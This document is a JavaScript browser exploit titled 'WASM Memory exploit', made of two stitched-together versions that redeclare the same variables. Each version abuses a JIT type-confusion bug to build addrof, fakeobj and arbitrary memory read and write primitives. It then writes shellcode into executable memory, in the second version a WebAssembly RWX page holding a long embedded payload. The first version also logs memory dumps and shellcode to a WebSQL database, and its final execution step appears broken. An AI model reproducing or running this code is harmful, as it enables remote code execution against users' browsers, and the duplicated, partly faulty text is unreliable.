WASM Memory exploit

var executableBuffer = new ArrayBuffer(0x1000);
var dataView = new DataView(executableBuffer);

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function initSQLDatabase() {
    let db = openDatabase('iu14D2N_SQL', '1.0', 'Memory Database', 2 * 1024 * 1024);

    db.transaction(function (tx) {
        tx.executeSql('CREATE TABLE IF NOT EXISTS memory_dumps (addr TEXT, data TEXT)');
        tx.executeSql('CREATE TABLE IF NOT EXISTS shellcode (id TEXT, payload BLOB)');
    });
    return db;
}

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;
    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);
    x -= 1;
    if(x==-1) x = 0;
    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];
    return [arr, cor];
}

function readMemoryRegion(startAddr, length) {
    let result = [];
    for(let i = 0n; i < BigInt(length); i++) {
        result.push(Number(arbread(startAddr + i)));
    }
    console.log("[+] Memory region read from", startAddr.toString(16));
    return result;
}

function dumpMemoryRegion(addr, size) {
    let memData = [];
    for(let i = 0n; i < BigInt(size); i += 8n) {
        let value = arbread(addr + i);
        memData.push(value);
    }
    console.log("[+] Memory dump at", addr.toString(16), ":", memData);
    return memData;
}

function dumpMemoryRegionToSQL(addr, size, db) {
    let memData = dumpMemoryRegion(addr, size);
    db.transaction(function (tx) {
        tx.executeSql('INSERT INTO memory_dumps (addr, data) VALUES (?, ?)',
            [addr.toString(16), JSON.stringify(memData)]);
    });
    return memData;
}

function storeShellcode(db, shellcode) {
    db.transaction(function (tx) {
        tx.executeSql('INSERT INTO shellcode (id, payload) VALUES (?, ?)',
            ['iu14D2N_shellcode', shellcode]);
    });
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
    arr[idx+1] = k;
    return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
    cor[0] = itof(k);
    return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    return (fake[0]);
}

function arbwrite(addr, val) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

async function executeExploit() {
    let db = initSQLDatabase();
    var exec_addr = addrof(executableBuffer) + 0x20n;
    console.log("[+] Address of executable region: " + exec_addr.toString(16));

    dumpMemoryRegionToSQL(exec_addr, 0x100, db);

    let shellcode = [
        0x90909090,
        0x68434241,
        0x6A00,
        0xB8,
        0x89E5,
        0x31C0,
        0x50,
        0x89E2,
        0x31C9,
        0xB0FF,
        0xC3
    ];

    storeShellcode(db, shellcode);
    copy_shellcode(exec_addr, shellcode);

    let execFunc = new Function('return ' + exec_addr)();
    execFunc();
}

async function executeCustomExploit() {
    console.log("[+] Starting iu14D2N exploit with SQL capabilities...");
    await executeExploit();
    console.log("[+] Exploit and SQL operations completed");
}

executeCustomExploit().catch(error => {
    console.log("[!] Exploit failed:", error);
});
/////////////////////////////////////////////////////
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;
    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);
    x -= 1;
    if(x==-1) x = 0;
    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];
    return [arr, cor];
}

async function loadShellcodeFromDB(dbName, tableName) {
    return new Promise((resolve, reject) => {
        let request = indexedDB.open(dbName, 1);

        request.onupgradeneeded = (event) => {
            let db = event.target.result;
            if (!db.objectStoreNames.contains(tableName)) {
                db.createObjectStore(tableName, {keyPath: 'id'});
            }
        };

        request.onerror = () => reject(request.error);
        request.onsuccess = () => {
            let db = request.result;
            let transaction = db.transaction(tableName, "readonly");
            let store = transaction.objectStore(tableName);
            let getRequest = store.get("shellcode");

            getRequest.onsuccess = () => {
                if (getRequest.result) {
                    resolve(getRequest.result.data);
                } else {
                    resolve(null);
                }
            };
        };
    });
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

const idx = 6;
arr[idx+10] = 0x4242;

function addrof(k) {
    arr[idx+1] = k;
    return ftoi(cor[0]) & 0xffffffffn;
}

function fakeobj(k) {
    cor[0] = itof(k);
    return arr[idx+1];
}

var float_array_map = ftoi(cor[3]);

var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    return (fake[0]);
}

function arbwrite(addr, val) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr2[1] = itof((2n << 32n) + addr - 8n);
    fake[0] = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

async function executeExploit() {
    var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
    console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));

    let shellcode = await loadShellcodeFromDB("exploitDB", "payloads");
    if (!shellcode) {
        shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
    }

    copy_shellcode(rwx_page_addr, shellcode);
    f();
}

// Initialize and execute
executeExploit().catch(console.error);